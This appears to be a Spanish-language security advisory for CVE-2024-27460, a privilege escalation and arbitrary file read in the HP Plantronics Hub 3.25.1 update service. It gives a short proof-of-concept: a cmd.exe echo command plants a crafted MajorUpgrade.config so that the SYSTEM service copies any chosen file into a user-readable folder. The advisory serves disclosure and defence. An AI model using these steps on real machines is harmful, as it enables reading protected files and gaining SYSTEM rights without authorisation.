CVE-2024-27460

Escalada de privilegios/lectura arbitraria de archivos en el actualizador de HP Plantronics Hub 3.25.1

Descripción:

HP Plantronics Hub 3.25.1 presenta un fallo que permite a usuarios con bajos privilegios realizar una lectura arbitraria de archivos como SYSTEM en la máquina donde está instalada la aplicación. Además, es posible abusar de esta vulnerabilidad para escalar privilegios al usuario SYSTEM.

Versiones afectadas

HP Plantronics Hub 3.25.1

Servicio(s) afectado(s)

Ruta insegura: "C:\ProgramData\Plantronics\Spokes3G"

Servicio: PlantronicsUpdateService

Pasos para reproducir (POC):

• Abrir cmd.exe
• Navegar usando cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<RUTA-COMPLETA-A-TU-ARCHIVO-DESEADO>^|> MajorUpgrade.config
• El archivo deseado se copiará en "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", al que cualquier usuario autenticado tiene acceso.

Descubierto por:

• Farid Zerrouk de Deloitte Belgium
• Alaa Kachouh de Mastercard Europe.